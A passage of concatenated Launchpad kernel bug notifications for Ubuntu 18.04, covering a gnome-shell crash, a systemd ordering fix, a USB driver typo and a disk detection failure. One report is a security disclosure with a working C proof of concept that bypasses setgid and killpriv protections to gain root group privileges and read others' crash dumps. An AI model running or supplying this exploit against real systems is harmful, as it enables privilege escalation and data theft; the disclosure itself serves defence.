4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: GNOME-Greeter:GNOME Date: Sun Mar 11 11:08:00 2018 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell GsettingsChanges: InstallationDate: Installed on 2017-12-19 (81 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) ProcCmdline: /usr/bin/gnome-shell ProcEnviron: LANGUAGE=cs_CZ PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=cs_CZ.UTF-8 SHELL=/bin/false SegvAnalysis: Segfault happened at: 0x7f3fee5d2f17 : mov0x20(%rax),%rcx PC (0x7f3fee5d2f17) ok source "0x20(%rax)" (0x0020) not located in a known VMA region (needed readable region)! destination "%rcx" ok SegvReason: reading NULL VMA Signal: 11SourcePackage: gnome-shell StacktraceTop: meta_gpu_kms_apply_crtc_mode () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 meta_renderer_native_finish_frame () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() UpgradeStatus: Upgraded to bionic on 2018-03-05 (5 days ago) UserGroups: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1754949/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1754949] Re: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame()
And so is "meta_gpu_kms". So this is a Wayland-only crash. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1754949 Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame() Status in gnome-shell package in Ubuntu: Confirmed Status in linux package in Ubuntu: In Progress Status in mutter package in Ubuntu: In Progress Bug description: https://gitlab.gnome.org/GNOME/mutter/issues/70 https://errors.ubuntu.com/problem/16426125ad8d92ae4dc9ce9e89450153b0a8b665 https://salsa.debian.org/gnome-team/mutter/merge_requests/6 --- The crash was reported after booting and logging in to an X.Org session. $ lsb_release -rd Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 $ apt-cache policy gnome-shell gnome-shell: Instalovaná verze: 3.27.92-0ubuntu1 Kandidát: 3.27.92-0ubuntu1 Tabulka verzí: *** 3.27.92-0ubuntu1 500 500 http://de.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status ProblemType: CrashDistroRelease: Ubuntu 18.04 Package: gnome-shell 3.27.92-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: GNOME-Greeter:GNOME Date: Sun Mar 11 11:08:00 2018 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell GsettingsChanges: InstallationDate: Installed on 2017-12-19 (81 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) ProcCmdline: /usr/bin/gnome-shell ProcEnviron: LANGUAGE=cs_CZ PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=cs_CZ.UTF-8 SHELL=/bin/false SegvAnalysis: Segfault happened at: 0x7f3fee5d2f17 : mov0x20(%rax),%rcx PC (0x7f3fee5d2f17) ok source "0x20(%rax)" (0x0020) not located in a known VMA region (needed readable region)! destination "%rcx" ok SegvReason: reading NULL VMA Signal: 11SourcePackage: gnome-shell StacktraceTop: meta_gpu_kms_apply_crtc_mode () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 meta_renderer_native_finish_frame () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() UpgradeStatus: Upgraded to bionic on 2018-03-05 (5 days ago) UserGroups: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1754949/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1739107] Re: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service
** Changed in: linux (Ubuntu Xenial) Assignee: (unassigned) => Andy (andyliuliming) ** Changed in: linux (Ubuntu Zesty) Assignee: (unassigned) => Andy (andyliuliming) ** Changed in: linux (Ubuntu Artful) Assignee: (unassigned) => Andy (andyliuliming) ** Changed in: linux (Ubuntu Bionic) Assignee: (unassigned) => Andy (andyliuliming) ** Changed in: linux (Ubuntu Xenial) Status: Incomplete => In Progress ** Changed in: linux (Ubuntu Zesty) Status: Incomplete => In Progress ** Changed in: linux (Ubuntu Artful) Status: Incomplete => In Progress ** Changed in: linux (Ubuntu Bionic) Status: Incomplete => In Progress -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1739107 Title: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: In Progress Status in linux source package in Zesty: In Progress Status in linux source package in Artful: In Progress Status in linux source package in Bionic: In Progress Bug description: This is a request to make a change in the hv-kvp-daemon systemd service which is part of the linux-cloud-tools-common package to ensure the hv-kvp-daemon service starts before the walinuxagent service. The default dependencies make hv-kvp-daemon wait until the whole system is up before it can start. Currently the /lib/systemd/system/hv-kvp-daemon.service file looks like this: # On Azure/Hyper-V systems start the hv_kvp_daemon # # author "Andy Whitcroft " [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft [Service] ExecStart=/usr/sbin/hv_kvp_daemon -n [Install] WantedBy=multi-user.target The suggested modification is to make the [Unit] section look like this: [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft DefaultDependencies=no After=systemd-remount-fs.service Before=shutdown.target cloud-init-local.service walinuxagent.service Conflicts=shutdown.target RequiresMountsFor=/var/lib/hyperv The hv-kvp-daemon service is not currently part of the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.809s └─multi-user.target @10.723s └─ephemeral-disk-warning.service @10.538s +31ms └─cloud-config.service @8.249s +2.252s └─basic.target @8.044s └─sockets.target @8.019s └─snapd.socket @7.692s +264ms └─sysinit.target @6.719s └─cloud-init.service @5.803s +842ms └─networking.service @5.137s +612ms └─network-pre.target @5.074s └─cloud-init-local.service @2.257s +2.783s └─systemd-remount-fs.service @1.368s +656ms └─systemd-journald.socket @1.218s └─-.mount @649ms └─system.slice @653ms └─-.slice @649ms In an Azure VM, the current startup time of my test is: $ systemd-analyze Startup finished in 10.375s (kernel) + 12.352s (userspace) = 22.728s After making the suggested change, the startup time is similar: $ systemd-analyze Startup finished in 9.759s (kernel) + 11.867s (userspace) = 21.627s And the service is now in the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.666s └─multi-user.target @10.636s └─ephemeral-disk-warning.service @10.556s +36ms └─cloud-config.service @8.423s +2.095s └─basic.target @8.124s └─sockets.target @8.101s └─lxd.socket @7.677s +326ms └─sysinit.target @6.755s └─cloud-init.service @5.814s +908ms └─networking.service @5.111s +651ms └─network-pre.target @5.087s └─cloud-init-local.service @2.345s +2.707s └─hv-kvp-daemon.service @2.316s └─systemd-remount-fs.service @1.253s +680ms └─system.slice @1.225s └─-.slice @650ms The ConditionVirtualization=microsoft line makes it so that this doesn't affect non microsoft virtualization environments (ie. qemu, kvm, vmware, xen, etc.) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1739107/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1773704] Re: Typo at line 184 in xhci-pci.c makes trouble for Renesas USB chipset in Bionic 18.04
The underlying bug is also described in bug ID #1737629, but I think that report was prior to the typo ie: before the "fix" with the typo was added. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1773704 Title: Typo at line 184 in xhci-pci.c makes trouble for Renesas USB chipset in Bionic 18.04 Status in linux package in Ubuntu: In Progress Status in linux source package in Bionic: In Progress Bug description: A typo at line 184 in /drivers/usb/host/xhci-pci.c trashes a good fix. 183 if (pdev->vendor == PCI_VENDOR_ID_RENESAS && 184 pdev->device == 0x0014) 185 xhci->quirks |= XHCI_TRUST_TX_LENGTH; 186 if (pdev->vendor == PCI_VENDOR_ID_RENESAS && 187 pdev->device == 0x0015) 188 xhci->quirks |= XHCI_RESET_ON_RESUME; Line 184 should be identical to line 187, ie: should read pdev->device == 0x0015) I've compiled the kernel both with and without the typo. As written, hundreds of messages fill dmesg suggesting XHCI_TRUST_TX_LENGTH may be needed when zoneminder tries to access my USB webcams. With the fix applied as I've suggested the messages disappear. The typo is still present in 4.15.0-22.24 For more background, you may refer to bug ID #1710548 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1773704/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1739107] Re: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service
@Eric Desrochers, I'm from azure team. and the xenial bionic are tested. and it works well. will test the zesty and artful today and post the result here. ** Changed in: linux (Ubuntu) Status: Incomplete => In Progress ** Changed in: linux (Ubuntu) Assignee: (unassigned) => Andy (andyliuliming) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1739107 Title: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: Incomplete Status in linux source package in Zesty: Incomplete Status in linux source package in Artful: Incomplete Status in linux source package in Bionic: Incomplete Bug description: This is a request to make a change in the hv-kvp-daemon systemd service which is part of the linux-cloud-tools-common package to ensure the hv-kvp-daemon service starts before the walinuxagent service. The default dependencies make hv-kvp-daemon wait until the whole system is up before it can start. Currently the /lib/systemd/system/hv-kvp-daemon.service file looks like this: # On Azure/Hyper-V systems start the hv_kvp_daemon # # author "Andy Whitcroft " [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft [Service] ExecStart=/usr/sbin/hv_kvp_daemon -n [Install] WantedBy=multi-user.target The suggested modification is to make the [Unit] section look like this: [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft DefaultDependencies=no After=systemd-remount-fs.service Before=shutdown.target cloud-init-local.service walinuxagent.service Conflicts=shutdown.target RequiresMountsFor=/var/lib/hyperv The hv-kvp-daemon service is not currently part of the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.809s └─multi-user.target @10.723s └─ephemeral-disk-warning.service @10.538s +31ms └─cloud-config.service @8.249s +2.252s └─basic.target @8.044s └─sockets.target @8.019s └─snapd.socket @7.692s +264ms └─sysinit.target @6.719s └─cloud-init.service @5.803s +842ms └─networking.service @5.137s +612ms └─network-pre.target @5.074s └─cloud-init-local.service @2.257s +2.783s └─systemd-remount-fs.service @1.368s +656ms └─systemd-journald.socket @1.218s └─-.mount @649ms └─system.slice @653ms └─-.slice @649ms In an Azure VM, the current startup time of my test is: $ systemd-analyze Startup finished in 10.375s (kernel) + 12.352s (userspace) = 22.728s After making the suggested change, the startup time is similar: $ systemd-analyze Startup finished in 9.759s (kernel) + 11.867s (userspace) = 21.627s And the service is now in the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.666s └─multi-user.target @10.636s └─ephemeral-disk-warning.service @10.556s +36ms └─cloud-config.service @8.423s +2.095s └─basic.target @8.124s └─sockets.target @8.101s └─lxd.socket @7.677s +326ms └─sysinit.target @6.755s └─cloud-init.service @5.814s +908ms └─networking.service @5.111s +651ms └─network-pre.target @5.087s └─cloud-init-local.service @2.345s +2.707s └─hv-kvp-daemon.service @2.316s └─systemd-remount-fs.service @1.253s +680ms └─system.slice @1.225s └─-.slice @650ms The ConditionVirtualization=microsoft line makes it so that this doesn't affect non microsoft virtualization environments (ie. qemu, kvm, vmware, xen, etc.) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1739107/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1773704] Re: Typo at line 184 in xhci-pci.c makes trouble for Renesas USB chipset in Bionic 18.04
The typo is still present in 4.15.0-29.31 -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1773704 Title: Typo at line 184 in xhci-pci.c makes trouble for Renesas USB chipset in Bionic 18.04 Status in linux package in Ubuntu: In Progress Status in linux source package in Bionic: In Progress Bug description: A typo at line 184 in /drivers/usb/host/xhci-pci.c trashes a good fix. 183 if (pdev->vendor == PCI_VENDOR_ID_RENESAS && 184 pdev->device == 0x0014) 185 xhci->quirks |= XHCI_TRUST_TX_LENGTH; 186 if (pdev->vendor == PCI_VENDOR_ID_RENESAS && 187 pdev->device == 0x0015) 188 xhci->quirks |= XHCI_RESET_ON_RESUME; Line 184 should be identical to line 187, ie: should read pdev->device == 0x0015) I've compiled the kernel both with and without the typo. As written, hundreds of messages fill dmesg suggesting XHCI_TRUST_TX_LENGTH may be needed when zoneminder tries to access my USB webcams. With the fix applied as I've suggested the messages disappear. The typo is still present in 4.15.0-22.24 For more background, you may refer to bug ID #1710548 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1773704/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1773704] Re: Typo at line 184 in xhci-pci.c makes trouble for Renesas USB chipset in Bionic 18.04
I downloaded the three files you mentioned and tried to install them using 'dpkg -i *.deb' as root. Two of the pkgs installed OK but the kernel proper did not, giving error: Selecting previously unselected package linux-image-unsigned-4.15.0-22-generic. dpkg: regarding linux-image-unsigned-4.15.0-22-generic_4.15.0-22.25_lp1773704_amd64.deb containing linux-image-unsigned-4.15.0-22-generic: linux-image-unsigned-4.15.0-22-generic conflicts with linux-image-4.15.0-22-generic linux-image-4.15.0-22-generic (version 4.15.0-22.24) is present and installed. dpkg: error processing archive linux-image-unsigned-4.15.0-22-generic_4.15.0-22.25_lp1773704_amd64.deb (--install): conflicting packages - not installing linux-image-unsigned-4.15.0-22-generic I rebooted the system and as one might expect, the errors in dmesg log persist. I read up a bit on dpkg hoping I could -f "force" the installation but it appears more complicated than that. How to proceed? Strange, I've installed test kernels (for this same issue in fact, see bug ID #1710548, which did in fact fix the problem: but the typo in the re-write of the fix that found it's way into the distro uproots the fix). Again I have to underscore the fact that I've built my own kernels with line 184 changed to be identical to line 187 and the problems are solved. If that was your approach, please consider your fix to have been successfully tested. I didn't have much trouble installing the kernels I built so the above errors from dpkg are a mystery to me. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1773704 Title: Typo at line 184 in xhci-pci.c makes trouble for Renesas USB chipset in Bionic 18.04 Status in linux package in Ubuntu: In Progress Status in linux source package in Bionic: In Progress Bug description: A typo at line 184 in /drivers/usb/host/xhci-pci.c trashes a good fix. 183 if (pdev->vendor == PCI_VENDOR_ID_RENESAS && 184 pdev->device == 0x0014) 185 xhci->quirks |= XHCI_TRUST_TX_LENGTH; 186 if (pdev->vendor == PCI_VENDOR_ID_RENESAS && 187 pdev->device == 0x0015) 188 xhci->quirks |= XHCI_RESET_ON_RESUME; Line 184 should be identical to line 187, ie: should read pdev->device == 0x0015) I've compiled the kernel both with and without the typo. As written, hundreds of messages fill dmesg suggesting XHCI_TRUST_TX_LENGTH may be needed when zoneminder tries to access my USB webcams. With the fix applied as I've suggested the messages disappear. The typo is still present in 4.15.0-22.24 For more background, you may refer to bug ID #1710548 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1773704/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783906] Re: Linux 4.15 and onwards fails to initialize some hard drives
I forgot to mention the Western Digital hard drive has always been slow to actually show up, and I’ve always gotten those "COMRESET failed, link is slow to respond" messages since I bought it. And two details I forgot to mention about the hard drives: 1 The Toshiba hard drive that works is formatted with GPT. 2 The Western Digital hard drive that doesn't work with linux 4.15+ is formatted with MBR. And just for the record, usb flash drives formatted with MBR work just fine on linux 4.15. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783906 Title: Linux 4.15 and onwards fails to initialize some hard drives Status in linux package in Ubuntu: Confirmed Bug description: I have two hard drives, the main hard drive is a TOSHIBA DT01ACA200 the second backup hard drive is a Western Digital WD5003AZEX. I installed lubuntu 18.04.1 on the Toshiba HDD and it boots just fine, the issue is with the second hard drive, when installing the WD HDD wouldn't even come as an option to install, and after boot the WD HDD still wouldn't come up, this is the dmesg with the stock kernel (4.15) https://paste.ubuntu.com/p/kpxh94v2SK/ ata6 is the WD HDD that refuses to work. The messages: [ 302.107650] ata6: SError: { CommWake 10B8B Dispar DevExch } [ 302.107658] ata6: hard resetting link [ 307.860291] ata6: link is slow to respond, please be patient (ready=0) [ 312.120898] ata6: COMRESET failed (errno=-16) [ 363.445120] INFO: task kworker/u8:5:201 blocked for more than 120 seconds. [ 363.445131] Not tainted 4.15.0-29-generic #31-Ubuntu [ 363.445135] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.445140] kworker/u8:5D0 201 2 0x8000 [ 363.445155] Workqueue: events_unbound async_run_entry_fn [ 363.445157] Call Trace: [ 363.445171] __schedule+0x291/0x8a0 [ 363.445177] schedule+0x2c/0x80 [ 363.445182] ata_port_wait_eh+0x7c/0xf0 [ 363.445186] ? wait_woken+0x80/0x80 [ 363.445189] ata_port_probe+0x28/0x40 [ 363.445192] async_port_probe+0x2e/0x52 [ 363.445196] async_run_entry_fn+0x3c/0x150 [ 363.445199] process_one_work+0x1de/0x410 [ 363.445203] worker_thread+0x32/0x410 [ 363.445207] kthread+0x121/0x140 [ 363.445210] ? process_one_work+0x410/0x410 [ 363.445214] ? kthread_create_worker_on_cpu+0x70/0x70 [ 363.445218] ret_from_fork+0x22/0x40 Repeat constantly. Also when I try to turn off the computer, the computer seem to freeze, the lights of the keyboard and mouse turn off and the computer just stay on. I tried Tiny Core 9.0 which has linux 4.14.10, and i didn't had this issue, i also installed linux 4.14 on this lubuntu 18.04 using Ukuu Kernel Update Utility. And with this kernel version, or any previous version the WD HDD does work again. Here's a dmesg of lubuntu 18.04 with linux 4.14 and the WD HDD finally coming up at the end: https://paste.ubuntu.com/p/Gd3cGFbjTJ/ Also tried with with linux 4.17 but the WD HDD would also refuse to work on this version. Here's another dmesg with this version: https://paste.ubuntu.com/p/PmNn96vZZv/ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaVersion: Advanced Linux Sound Architecture Driver Version k4.15.0-29-generic. ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: testtest756 F pulseaudio /dev/snd/controlC1: testtest756 F pulseaudio Card0.Amixer.info: Card hw:0 'NVidia_1'/'HDA NVidia at 0xfe02 irq 22' Mixer name : 'Realtek ALC1200' Components : 'HDA:10ec0888,10ec,00100101 HDA:10de0002,10de0101,0010' Controls : 56 Simple ctrls : 21 Card1.Amixer.info: Card hw:1 'NVidia'/'HDA NVidia at 0xfcffc000 irq 16' Mixer name : 'Nvidia GPU 42 HDMI/DP' Components : 'HDA:10de0042,38422651,00100100' Controls : 21 Simple ctrls : 3 CurrentDesktop: LXDE Date: Thu Jul 26 17:10:58 2018 HibernationDevice: RESUME=UUID=17e70869-516d-4b63-b900-e92e3c4b73b6 InstallationDate: Installed on 2018-07-26 (0 days ago) InstallationMedia: Lubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: 113 1 ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=71cf0a32-7827-49be-a2c0-cd50a72c26a1 ro quiet splash vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: No
[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass
** No longer affects: whoopsie (Ubuntu) ** No longer affects: whoopsie (Ubuntu Trusty) ** No longer affects: whoopsie (Ubuntu Xenial) ** No longer affects: whoopsie (Ubuntu Bionic) ** No longer affects: whoopsie (Ubuntu Cosmic) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1779923 Title: other users' coredumps can be read via setgid directory and killpriv bypass Status in linux package in Ubuntu: In Progress Status in linux source package in Trusty: In Progress Status in linux source package in Xenial: In Progress Status in linux source package in Bionic: In Progress Status in linux source package in Cosmic: In Progress Bug description: Note: I am both sending this bug report to secur...@kernel.org and filing it in the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug or as a Ubuntu bug. You may wish to talk to each other to determine the best place to fix this. I noticed halfdog's old writeup at https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ , describing essentially the following behavior in combination with a trick for then writing to the resulting file without triggering the killpriv logic: = user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat > demo.c #include int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); } user@debian:~/sgid_demo$ gcc -o demo demo.c user@debian:~/sgid_demo$ ./demo user@debian:~/sgid_demo$ ls -l dir/file -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file = Two patches for this were proposed on LKML back then: "[PATCH 1/2] fs: Check f_cred instead of current's creds in should_remove_suid()" https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/ "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory" https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/ However, as far as I can tell, neither of them actually landed. You can also bypass the killpriv logic with fallocate() and mmap() - fallocate() permits resizing the file without triggering killpriv, mmap() permits writing without triggering killpriv (the mmap part is mentioned at https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/ ): = user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat fallocate.c #define _GNU_SOURCE #include #include #include #include #include #include #include int main(void) { int src_fd = open("/usr/bin/id", O_RDONLY); if (src_fd == -1) err(1, "open 2"); struct stat src_stat; if (fstat(src_fd, _stat)) err(1, "fstat"); int src_len = src_stat.st_size; char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0); if (src_mapping == MAP_FAILED) err(1, "mmap 2"); int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755); if (fd == -1) err(1, "open"); if (fallocate(fd, 0, 0, src_len)) err(1, "fallocate"); char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); memcpy(mapping, src_mapping, src_len); munmap(mapping, src_len); close(fd); close(src_fd); execl("./dir/file", "id", NULL); err(1, "execl"); } user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c user@debian:~/sgid_demo$ ./fallocate uid=1000(user) gid=1000(user) egid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user) = sys_copy_file_range() also looks as if it bypasses killpriv on supported filesystems, but I haven't tested that one so far. On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and contains group-readable crashdumps in some custom format, so you can use this issue to steal other users' crashdumps: = user@ubuntu-18-04-vm:~$ ls -l /var/crash total 296 -rw-r- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash -rw-r- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash -rw-r- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash -rw-r- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash -rw-r- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash cat: /var/crash/_usr_bin_id.0.crash: Permission denied user@ubuntu-18-04-vm:~$ cat fallocate.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include int main(int argc, char **argv) {
[Kernel-packages] [Bug 1783906] Status changed to Confirmed
This change was made by a bot. ** Changed in: linux (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783906 Title: Linux 4.15 and onwards fails to initialize some hard drives Status in linux package in Ubuntu: Confirmed Bug description: I have two hard drives, the main hard drive is a TOSHIBA DT01ACA200 the second backup hard drive is a Western Digital WD5003AZEX. I installed lubuntu 18.04.1 on the Toshiba HDD and it boots just fine, the issue is with the second hard drive, when installing the WD HDD wouldn't even come as an option to install, and after boot the WD HDD still wouldn't come up, this is the dmesg with the stock kernel (4.15) https://paste.ubuntu.com/p/kpxh94v2SK/ ata6 is the WD HDD that refuses to work. The messages: [ 302.107650] ata6: SError: { CommWake 10B8B Dispar DevExch } [ 302.107658] ata6: hard resetting link [ 307.860291] ata6: link is slow to respond, please be patient (ready=0) [ 312.120898] ata6: COMRESET failed (errno=-16) [ 363.445120] INFO: task kworker/u8:5:201 blocked for more than 120 seconds. [ 363.445131] Not tainted 4.15.0-29-generic #31-Ubuntu [ 363.445135] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.445140] kworker/u8:5D0 201 2 0x8000 [ 363.445155] Workqueue: events_unbound async_run_entry_fn [ 363.445157] Call Trace: [ 363.445171] __schedule+0x291/0x8a0 [ 363.445177] schedule+0x2c/0x80 [ 363.445182] ata_port_wait_eh+0x7c/0xf0 [ 363.445186] ? wait_woken+0x80/0x80 [ 363.445189] ata_port_probe+0x28/0x40 [ 363.445192] async_port_probe+0x2e/0x52 [ 363.445196] async_run_entry_fn+0x3c/0x150 [ 363.445199] process_one_work+0x1de/0x410 [ 363.445203] worker_thread+0x32/0x410 [ 363.445207] kthread+0x121/0x140 [ 363.445210] ? process_one_work+0x410/0x410 [ 363.445214] ? kthread_create_worker_on_cpu+0x70/0x70 [ 363.445218] ret_from_fork+0x22/0x40 Repeat constantly. Also when I try to turn off the computer, the computer seem to freeze, the lights of the keyboard and mouse turn off and the computer just stay on. I tried Tiny Core 9.0 which has linux 4.14.10, and i didn't had this issue, i also installed linux 4.14 on this lubuntu 18.04 using Ukuu Kernel Update Utility. And with this kernel version, or any previous version the WD HDD does work again. Here's a dmesg of lubuntu 18.04 with linux 4.14 and the WD HDD finally coming up at the end: https://paste.ubuntu.com/p/Gd3cGFbjTJ/ Also tried with with linux 4.17 but the WD HDD would also refuse to work on this version. Here's another dmesg with this version: https://paste.ubuntu.com/p/PmNn96vZZv/ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaVersion: Advanced Linux Sound Architecture Driver Version k4.15.0-29-generic. ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: testtest756 F pulseaudio /dev/snd/controlC1: testtest756 F 